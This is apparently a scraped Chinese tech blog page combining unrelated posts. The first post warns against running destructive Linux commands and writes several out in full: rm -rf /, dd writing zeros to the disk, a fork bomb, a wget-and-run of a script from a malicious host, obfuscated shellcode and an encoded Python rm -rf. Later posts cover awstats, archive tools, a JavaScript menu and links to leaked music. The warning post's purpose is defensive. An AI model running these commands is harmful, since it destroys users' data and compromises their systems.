0%

警告:

文中列出的命令绝对不可以运行,即使你觉得很好奇也不行,因为它们会实实在在的破坏你的系统。

早晚有一天,Linux 系统会像 Windows 那样流行,用的人越来越多,包括对计算机不是很了解的人,本文的目的就是告诉大家:在 Linux 给你最大程度自由度的同时,也使得破坏系统变得更加容易,如果你不了解某些命令的意义,下载执行包含恶意命令的脚本,或者被骗运行某些命令,很容易让你哭 都来不及。

  • 这并不是说明 Linux 不安全,只是说明在不了解 Linux ,和很不小心的人面前,Linux 十分不安全。Windows 也好,Linux 也好,人本身才是最大的不安全因素。

下面的命令会删除你硬盘上的文件,rm 的 -r 递归删除,和 -f 强制删除是很危险的选项,即使日常操作,也会遇到误删文件的情况。

1
2
3
4
5
sudo rm -rf / 删除根分区全部的文件
sudo rm -rf . 删除当前目录下的所有文件
sudo rm -rf * 同上
rm -rf * or rm -rf *.* 同上
rm -rf ~ / & 删除根分区和家目录,即使你不是root,家目录还是不能幸免。

同样,如果你不知道 mkfs.xxxx (xxxx 可以是 vfat、ext2、ext3、bfs……) 是格式化命令的话,运行下面的命令会擦除你的硬盘分区:

1
sudo mkfs.xxxx
  • dd 是强大的 IO 输入输出定向工具,如果使用不当,破坏性很大,不仅仅是当前分区,当前系统,有的时候是整个硬盘。

    1
    2
    3
    sudo dd if=/dev/zero of=/dev/sda 全部硬盘清零。
    sudo dd if=/dev/sda of=/dev/sdb 用第一块硬盘的内容覆盖第二块的内容。
    sudo dd if=something of=/dev/sda 往硬盘上写垃圾数据。

    同理,直接把命令结果定向到硬盘上,相当于往硬盘上写垃圾数据:

    1
    any_command > /dev/sda 用随意的数据破坏硬盘

    上面的 sda 、sdb 也可能是其他类似的名称。Linux 的 /dev 系统给操纵硬件提供了很方便和强大的功能,同时也使得破坏变得更容易。

  • fork 命令打开一个子进程,如果把 fork 放在无限循环中,最终子进程会耗尽所有内存资源:

    1
    :(){:|:&};:

    这段不知所云的符号,可以让 Shell 不停的 fork 子进程,最后导致内存耗尽,不得不重启,这不是 bug,只是 Shell 语句故意写成简写的形式而已。下面的同理:

    1
    fork while fork
  • 有的时候,压缩包也是一个破坏来源~有的压缩包要求你解压到某个系统中已经存在的目录中,这时候你就要特别小心了,压缩包里面可能有成千上万的小文件,以各种文件名尝试覆盖你现有的文件。有的压缩包看起来很小,但是解压出来是上 GB 的垃圾数据,会充斥你的硬盘。

从不正规网站下载的程序、脚本,同样会有包含恶意命令的危险,不可随便执行:

1
2
3
4
wget http://some_place/some_file
sh ./some_file
wget http://hax018r.org/malicious-script
sh ./malicious-script

下载脚本要确保来源正规,如果有能力,可以阅读其代码。

  • 即使有源代码的程序,也不要随便编译执行:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "xebx3ex5bx31xc0×50×54×5ax83xecx64×68"
    "xffxffxffxffx68xdfxd0xdfxd9×68x8dx99"
    "xdfx81×68x8dx92xdfxd2×54x5exf7×16xf7"
    "x56×04xf7×56x08xf7×56x0cx83xc4×74×56"
    "x8dx73×08×56×53×54×59xb0×0bxcdx80×31"
    "xc0×40xebxf9xe8xbdxffxffxffx2fx62×69"
    "x6ex2fx73×68×00×2dx63×00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

上面看起来只是一堆没有意义的 16 进制数据,如果有人告诉你,运行这个程序你就可以不输入密码取得系统的 root 权限,你可不要相信他,上面的程序实际运行的是 rm -rf ~ / & !!!

  • python 一类的脚本语言,同样可以拿来搞破坏:python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))' 这段程序实际上会执行 rm -rf *,也许你很奇怪上面程序结尾的 "sn!.sg!+" 是什么意思,实际上就是 rm -rf * 每个字母的下一个!

那么我们如何避免运行恶意程序呢?

第一不要用 root 作为日常使用的用户,上面的程序,如果当前用户不是 root,危害的波及范围就会小很多。

第二要知道哪些命令是干什么用的,不知道的命令不要冒然运行。运行有潜在破坏能力的程序,要小心检查自己的输入。
**
第三要保证软件、脚本的来源正规。**

最后一点,虽然比较消极,但是确实十分重要的一点:

经常备份你的数据!!

在切换中英文输入时经常把Ctrl+空格键误按为FN+空格键,X60 X61以及T60系列都有这个设置,可能是设计没有考虑到中文用户经常需要做输入法切换吧。

怎样删除这个功能呢?
方法是:在添加删除程序中可以找到ThinkPad magnifier(放大镜)程序,删除后重启Windows XP操作系统即可。

在蓝键的功能列表中还有一个Keyboard Customizer Utility对设置FN的放大键没用。

写得很好的一篇文章,转过来保存

=====================
前言、你可以看完前言就把这篇文章扔到一边

《征途》=?假如你刚好没玩过《征途》,那么在本文开始之前,我认为你有必要先回忆一下脑海里对《征途》的印象。就我猜测,你可能想到的关键词大致 包括这些:最昂贵的游戏,垃圾游戏,黑心的公司,史玉柱,道德的底限,游戏行业的搅局者……如果这猜测正确的话,那么我要说,大致在一个月前,我跟你的这 些想法一样,——可能更甚。

但是,在接触了《征途》一个月后,我却得出了一个令自己都难以相信,难以接受的结论:我18年(今年24岁, 1989年6岁时开始接触FC,1990年7岁时开始接触黄海286电脑以及上面的游戏)来的游戏理念,以及近8年来在游戏行业工作的经验,——所有这一 切,统统都被颠覆了。当我向身边一位朋友推荐《征途》时,我是这样说的:“《征途》是一款颠覆了现有游戏理念的东西,堪称‘心理学百科全书’+‘营销百科 全书’,我在玩过《征途》之后,最大的感受就是这些年游戏全白玩了。”

——至此,如果你认为这是一篇枪稿,那么可以不看了。否则请继续。

一、不可忽视的《征途》理念

因为工作的关系,我看过许多公司的“《征途》研究报告”,也听过不少业内人士对《征途》的评价。但是这些研究和评价基本都是围绕《征途》的系统展开 的,却忽略了《征途》最本质的东西,它的理念,以及它所颠覆的理念。我认为这和我们在制作、运营,乃至玩游戏的时候,很少去思考什么是游戏理念有关。

所谓游戏理念,在本文中的定义主要是指设计一款游戏的思想依据,包括:你认为一款游戏的意义何在?比如,日本某著名游戏制作人说:一款游戏如果不能 折磨玩家几百个小时,那它简直不配称为游戏;游戏应该做成什么样?比如,Blizzard认为要让玩家在每一个阶段都能体验到乐趣,发现惊喜,循序渐进; 它如何给人带来快乐、或者说你从种获得了什么样的快乐?比如,许多游戏公司都会不停的推出新系统、道具和内容;等等这些……

Read more »

一般大型網站的 Web Servre log 太大,通常會以 logrotate 將 log 分割成為數個檔案。

以 Apache 為例就是像:
access_log.1、access_log.2、access_log.3 … 以此類推

另外如果使用 Load balance ,也是會產生個 log 檔,但 awstats 預設的 LogFile 是只有一個,在多個 log file 的狀態下,變成無法更新至最新的狀態,這時就要使用 awstats 內建的工具logresolvemerge.pl 來合併 log ,其實用法也很簡單,只要更改網站的設定檔就好了,以本站為例就是編輯 /etc/awstats/awstats.neo.conf

找到 LogFile 的地方,原來預設單個 log 的設定如下:

1
LogFile="/var/log/httpd/access_log"

再來就是輸入您 logresolvemerge.pl 的路徑跟 log 的路徑及萬用字元即可。

logresolvemerge.pl 是放在 awstats 安裝路徑的 tools 裡面,因為我的 awstats 是裝在/usr/local/awstats 裡面,所以完整路徑就是 /usr/local/awstats/tools/logresolvemerge.pl 。

另外我是要合併 access_log.1、access_log.2、access_log.3 的 LogFile 更改範例如下:

1
LogFile="/usr/local/awstats/tools/logresolvemerge.pl /var/log/httpd/access_log* |"

編輯存檔後,再來執行更新記錄程式即可,如:

1
#/usr/local/awstats/wwwroot/cgi-bin/awstats.pl -config=xxx -update

再來進去您的網址就可以看到合併後輸出的結果了,如:

http://www.yoursite.com/awstats/awstats.pl?config=xxx

记得周董刚出道的时候,并不喜欢他,当时搞不懂怎么会有那么多的人喜欢听他的歌,唱的”双节棍”根本不知道什么乱七八糟的。但这两年发现自己也越来越喜欢上他的歌曲了,听起来很有味道……。
现在的网络真是不得了,周董打算11月2号发行的”我很忙”全新国语专辑,现在就有泄露版了(正在听呢^-^)。
“我很忙”专辑共收入十首歌,分别是:牛仔很忙、彩虹、青花瓷、阳光宅男、蒲公英的约定、无双、我不配、扯、甜甜的、最长的电影。
刚刚听完整张专辑,一个字”炫”,主打歌”牛仔很忙”也早就做为手机铃声。不行,再重新来一遍 ……

在线试听地址:http://2046y.com/album/c3/7897.htm (PS:建议各位支持周董买正版,不然周董的Fans不答应 )

引用来自 下载地址(下载地址来自网络,所以不能保证歌曲的完整性)

http://tg200511.2046y.com/x615219i/hn/jay/27/1.wma 牛仔很忙
http://tg200511.2046y.com/x615219i/hn/jay/27/2.wma 彩虹
http://tg200511.2046y.com/x615219i/hn/jay/27/3.wma 青花瓷
http://tg200511.2046y.com/x615219i/hn/jay/27/4.wma 阳光宅男
http://tg200511.2046y.com/x615219i/hn/jay/27/5.wma 蒲公英的约定
http://tg200511.2046y.com/x615219i/hn/jay/27/6.wma 无双
http://tg200511.2046y.com/x615219i/hn/jay/27/7.wma 我不配
http://tg200511.2046y.com/x615219i/hn/jay/27/8.wma
http://tg200511.2046y.com/x615219i/hn/jay/27/9.wma 甜甜的
http://tg200511.2046y.com/x615219i/hn/jay/27/10.wma 最长的电影

安装了Adobe Photoshop CS3,在使用文字编辑工具时,可能会出现程序停止响应的情况,解决办法如下:

运行Adobe Photoshop CS3后,打开编辑-首选项-文字,取消字体预览大小前的勾选项,然后就可以了……

顺带说一句,Adobe Illustrator CS3在windows 2003下安装后,启动进行到更新字体信息90%的时候就自动退出了,目前还没有找到解决办法。

Indy Library最初是一个关于网络操作的开源程序库,可在 http://www.nevrona.com/Indy”http://indy.torry.net” 找到。这个程序库被Borland Delphi 6、 7、 C++Builder 6,以及所有 Kylix 版本所引用。

不幸的是,这个程序库被强制破解(hi-jacked)并被滥用于一些中国的spam bots中。近期所见使用“Indy Library”字串作为User Agent信息的访问,大多是这些中国“原创作品”。

是开源项目Indy的一部分,是关于网络操作的一个程序库。
爬虫信息

爬虫名称: Indy Library
HTTP User Agent:
Mozilla/3.0 (compatible; Indy Library)

抓取强度: 不一定,很多服务器上较少出现,但也有部分服务器被大量访问
搜索引擎推广效果:无!
来访IP:无规律,很杂乱

对Indy Library爬虫进行控制
Indy Library只是一个程序库,很多使用它的用户并不遵循robots.txt抓取规范,可能抓取你服务器上声明禁止访问的内容!。如果此类爬虫对您的服务器造成困扰,您可以:

  • 用服务器防火墙屏蔽相关访问
  • 用.htaccess屏蔽相关访问
  • 在程序中进行相关检测和屏蔽

参考资料
官方网站
http://www.indyproject.org/ 关于Indy Library项目的官方信息

Microsoft VBScript语法错误(0x800A03E9)–>内存不足
Microsoft VBScript语法错误(0x800A03EA)–>语法错误
Microsoft VBScript语法错误(0x800A03EB)–>缺少 ‘:’
Microsoft VBScript语法错误(0x800A03ED)–>缺少 ‘(‘
Microsoft VBScript语法错误(0x800A03EE)–>缺少 ‘)’
Microsoft VBScript语法错误(0x800A03EF)–>缺少 ‘]’
Microsoft VBScript语法错误(0x800A03F2)–>缺少标识符
Microsoft VBScript语法错误(0x800A03F3)–>缺少 ‘=’
Microsoft VBScript语法错误(0x800A03F4)–>缺少 ‘If’
Microsoft VBScript语法错误(0x800A03F5)–>缺少 ‘To’
Microsoft VBScript语法错误(0x800A03F6)–>缺少 ‘End’
Microsoft VBScript语法错误(0x800A03F7)–>缺少 ‘Function’
Microsoft VBScript语法错误(0x800A03F8)–>缺少 ‘Sub’
Microsoft VBScript语法错误(0x800A03F9)–>缺少 ‘Then’
Microsoft VBScript语法错误(0x800A03FA)–>缺少 ‘Wend’
Microsoft VBScript语法错误(0x800A03FB)–>缺少 ‘Loop’
Microsoft VBScript语法错误(0x800A03FC)–>缺少 ‘Next’
Microsoft VBScript语法错误(0x800A03FD)–>缺少 ‘Case’
Microsoft VBScript语法错误(0x800A03FE)–>缺少 ‘Select’
Microsoft VBScript语法错误(0x800A03FF)–>缺少表达式
Microsoft VBScript语法错误(0x800A0400)–>缺少语句
Microsoft VBScript语法错误(0x800A0401)–>语句未结束
Microsoft VBScript语法错误(0x800A0402)–>缺少整型常数
Microsoft VBScript语法错误(0x800A0403)–>缺少 ‘While’ 或 ‘Until’
Microsoft VBScript语法错误(0x800A0404)–>缺少 ‘While’, ‘Until’ 或语句未结束
Microsoft VBScript语法错误(0x800A0405)–>缺少 ‘With’
Microsoft VBScript语法错误(0x800A0406)–>标识符过长
Microsoft VBScript语法错误(0x800A0407)–>无效数字
Microsoft VBScript语法错误(0x800A0408)–>无效字符
Microsoft VBScript语法错误(0x800A0409)–>未结束的字符串常量
Microsoft VBScript语法错误(0x800A040A)–>注释未结束
Microsoft VBScript语法错误(0x800A040D)–>无效使用 ‘Me’ 关键字
Microsoft VBScript语法错误(0x800A040E)–>’loop’ 语句缺少 ‘do’
Microsoft VBScript语法错误(0x800A040F)–>无效的 ‘exit’ 语句
Microsoft VBScript语法错误(0x800A0410)–>循环控制变量 ‘for’ 无效
Microsoft VBScript语法错误(0x800A0411)–>名称重定义
Microsoft VBScript语法错误(0x800A0412)–>必须是行中的第一个语句
Microsoft VBScript语法错误(0x800A0413)–>不能为 non-ByVal 参数赋值
Microsoft VBScript语法错误(0x800A0414)–>调用子程序时不能使用括号
Microsoft VBScript语法错误(0x800A0415)–>缺少文字常数

Read more »

  • .tar
    解包:tar xvf FileName.tar
    打包:tar cvf FileName.tar DirName
    (注:tar是打包,不是压缩!)

  • .gz
    解压1:gunzip FileName.gz
    解压2:gzip -d FileName.gz
    压缩:gzip FileName

  • .tar.gz
    解压:tar zxvf FileName.tar.gz
    压缩:tar zcvf FileName.tar.gz DirName

  • .bz2
    解压1:bzip2 -d FileName.bz2
    解压2:bunzip2 FileName.bz2
    压缩: bzip2 -z FileName

  • .tar.bz2
    解压:tar jxvf FileName.tar.bz2
    压缩:tar jcvf FileName.tar.bz2 DirName

  • .bz
    解压1:bzip2 -d FileName.bz
    解压2:bunzip2 FileName.bz
    压缩:未知

  • .tar.bz
    解压:tar jxvf FileName.tar.bz
    压缩:未知

  • .Z
    解压:uncompress FileName.Z
    压缩:compress FileName

  • .tar.Z
    解压:tar Zxvf FileName.tar.Z
    压缩:tar Zcvf FileName.tar.Z DirName

  • .tgz
    解压:tar zxvf FileName.tgz
    压缩:未知

  • .tar.tgz
    解压:tar zxvf FileName.tar.tgz
    压缩:tar zcvf FileName.tar.tgz FileName

  • .zip
    解压:unzip FileName.zip
    压缩:zip FileName.zip DirName

  • .rar
    解压:rar a FileName.rar
    压缩:rar e FileName.rar
    rar请到:http://www.rarsoft.com/download.htm 下载!
    解压后请将rar_static拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):
    [root@www2 tmp]# cp rar_static /usr/bin/rar

  • .lha
    解压:lha -e FileName.lha
    压缩:lha -a FileName.lha FileName
    lha请到:http://www.infor.kanazawa-it.ac.jp/~ishii/lhaunix/下载!
    解压后请将lha拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):
    [root@www2 tmp]# cp lha /usr/bin/

  • .tar .tgz .tar.gz .tar.Z .tar.bz .tar.bz2 .zip .cpio .rpm .deb .slp .arj .rar .ace .lha .lzh .lzx .lzs .arc .sda .sfx .lnx .zoo .cab .kar .cpt .pit .sit .sea
    解压:sEx x FileName.*
    压缩:sEx a FileName.* FileName
    sEx只是调用相关程序,本身并无压缩、解压功能,请注意!
    sEx请到:http://sourceforge.net/projects/sex 下载!
    解压后请将sEx拷贝到/usr/bin目录(其他由$PATH环境变量指定的目录也可以):
    [root@www2 tmp]# cp sEx /usr/bin/

参考文献:Linux 文件压缩工具指南
(其实看帮助是最好的方法,一般各个命令都可以用“–help”参数得到常用使用方法!)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
<HTML>
<HEAD>
<TITLE>outlook菜单</TITLE>
<META http-equiv=content-type content=text/html;charset=gb2312>
<style>
.outlook-title
{
border:1px outset;
background-color:buttonface;
color:black;
text-align:center;
cursor:hand;
font-size:9pt;
}
.outlook-item
{
padding:2px;
font-size:9pt;
}

a.outlook-item:hover
{
color:blue;
}
</style>
</HEAD>
<BODY style="MARGIN: 0px" text=black vLink=white aLink=white link=white scroll=no>
<table height="100%" width="100%" border=0 cellpadding=0 cellspacing=0>
<tr><td width="140″>
<TABLE style="WIDTH: 140px; HEIGHT: 100%" cellSpacing=0 cellPadding=0 bgColor=#aca899 border=1 hspace="0″ vspace="0″>
<TR>
<TD id=outLookBarShow style="HEIGHT: 100%" align=middle name="outLookBarShow">
<div id="o1″ style="height:100%;"></div>
</td>
</tr>
</table>
</td><td><iframe id="frm" name="frm" width="100%" height="100%" frameborder=0></iframe></td></tr>
</table>

<SCRIPT LANGUAGE="JavaScript">
<!–
/**//*
** ==================================================================================================
** 类名:CLASS_OUTLOOKBAR
** 功能:OUTLOOK菜单
** 示例:
—————————————————————————————————

var o = new CLASS_OUTLOOKBAR();
o.addTitle("工作安排");
o.addTitle("通告信息");
o.addTitle("管理制度");
o.addTitle("系统管理");

o.addItem(0,"今日安排","frm","http://www.google.com");
o.addItem(0,"工作任务","frm","http://baidu.com");

o.addItem(1,"报社通知","frm","http://www.itpub.net/forum6.html",null);

o.setupById("o1″);

//定义需要安装的DIV
<div id="o1″ style="height:100%;"></div>

—————————————————————————————————
** 作者:ttyp
** 邮件:ttyp@21cn.com
** 日期:2005-12-1
** 版本:0.2
** ==================================================================================================
*/
function CLASS_OUTLOOKBAR(id,name)
{
var THIS1 = this;

this.id = getUnique(id);
this.name = getUnique(name);
this.width = "140";
this.height = "100%";
this.titles = new Array();

function getUnique(p){
if(p!=null){
return p;
} else {
return "outlook_" + new Date().getTime() + "_";
}
}

this.addTitle = function(name){

function title(name){
var THIS2 = this;
this.name = name;
this.items = new Array();

this.addItem = function(name,target,url,image,align){

function item(name,target,url,image,align){
this.name = name;
this.image = image;
this.target = target;
this.url = url;
this.align = align;
}

var _item = new item(name,target,url,image,align);
THIS2.items[THIS2.items.length] = _item;
return _item;
}
}

var _title = new title(name);
this.titles[this.titles.length] = _title;
return _title;
}

this.step = 4;
this.speed = 10;
this.selectedIndex = 0;
this.timer = 0;
this.rate = 100;
this.run = false;
this.wait = new Array();

this.select = function(index){
if(this.selectedIndex!=index){
if(this.run==false){
this.rate = 100;
this.run = true;
this.timer = window.setInterval(function(){

THIS1.rate-= THIS1.step;
var oldI = document.getElementById(THIS1.id + THIS1.selectedIndex).nextSibling;
var newI = document.getElementById(THIS1.id + index).nextSibling;

var ooI = oldI.childNodes[0].childNodes[0];
var nnI = newI.childNodes[0].childNodes[0];

oldI.style.display = "";
newI.style.display = "";

if(THIS1.rate<0){
window.clearInterval(THIS1.timer);
THIS1.timer = 0;
ooI.style.overflow="auto";
nnI.style.overflow = "auto";
oldI.style.display = "none";
THIS1.run = false;
THIS1.selectedIndex = index;
if(THIS1.wait.length>0){
THIS1.select(THIS1.wait[0]);
THIS1.wait = THIS1.wait.slice(1,-1);
}
} else {
ooI.style.overflow = "hidden";
nnI.style.overflow = "hidden";
oldI.style.height = THIS1.rate +"%";
newI.style.height = (100 - THIS1.rate) + "%";
}

},this.speed);
}else{
this.wait[this.wait.length] = index;
}
}
}

this.setup = function(contain){
if(contain!=null){
var table = document.createElement("table");
table.style.width = "100%";
table.style.height = "100%";
table.cellPadding = "0px";
table.cellSpacing = "0px";
table.style.border = "0px solid red";
table.bgColor = "#aca899";

function getItem(width,height,display,title){
var tris = document.createElement("tr");
var tdis = document.createElement("td");
tdis.style.width = width;
tris.style.height = height;
tris.style.display = display;
tdis.className = "outlook-item";
tdis.style.verticalAlign = "top";

if(title!=null&&typeof(title.items)!="undefined"){

var vv = document.createElement("div");
vv.style.overflow = "auto";
vv.style.height = "100%";
vv.style.width = "100%";

for(var i=0;i<title.items.length;i++){
var div = document.createElement("div");
div.style.textAlign = "center";
div.style.height = "24px";
div.style.paddingTop = "4px";

if(title.items[i].image!=null){
var img = document.createElement("img");
img.src = title.items[i].image;
div.appendChild(img);
if(typeof(title.items[i].align)!="undefined"&&title.items[i].align==1){
var lbl = document.createElement("label");
lbl.innerHTML = "<br>";
div.appendChild(lbl);
}
}

var a = document.createElement("a");
a.target = title.items[i].target;
a.innerHTML = title.items[i].name;
a.href = title.items[i].url;
div.appendChild(a);
vv.appendChild(div);
}

tdis.appendChild(vv);
}

tris.appendChild(tdis);
return tris;
}

for(var i=0;i<this.titles.length;i++){
var tr = document.createElement("tr");
var td = document.createElement("td");

tr.style.height = "25px";
td.style.width = "100%";
td.className = "outlook-title";

td.innerHTML = this.titles[i].name;
tr.id = this.id + i;

tr.appendChild(td);
table.appendChild(tr);

if (i==this.selectedIndex){
var tris = getItem("100%","100%","",this.titles[i]);
table.appendChild(tris);
} else {
var tri = getItem("100%","0%","none",this.titles[i]);
table.appendChild(tri);
}

}

if(typeof(contain.outerHTML)=="undefined"){
contain.appendChild(table);
} else {
contain.innerHTML = table.outerHTML;
}

//bind event
for(var i=0;i<this.titles.length;i++){
var title = document.getElementById(this.id + i);
if(title){
function mapping(index){
try {
title.onclick = function(){THIS1.select(index);}
title.oncontextmenu = function(){ return false;}
title.nextSibling.oncontextmenu = function(){return false;}
} catch (e){
}
}
mapping(i);
}
}
}
}

this.addItem = function(index,name,target,url,image,align){
if(index>=0&&index<this.titles.length){
return this.titles[index].addItem(name,target,url,image,align);
}
}

this.setupById = function(id){
var d = document.getElementById(id);
if(d){
this.setup(d);
}
}
}

var o = new CLASS_OUTLOOKBAR();
o.addTitle("工作安排");
o.addTitle("通告信息");
o.addTitle("管理制度");
o.addTitle("系统管理");

o.addItem(0,"今日安排","frm","http://www.google.com");
o.addItem(0,"工作任务","frm","http://baidu.com");

o.addItem(1,"报社通知","frm","http://www.itpub.net/forum6.html",null);

o.setupById("o1");

//–>
</SCRIPT>

</BODY>
</HTML>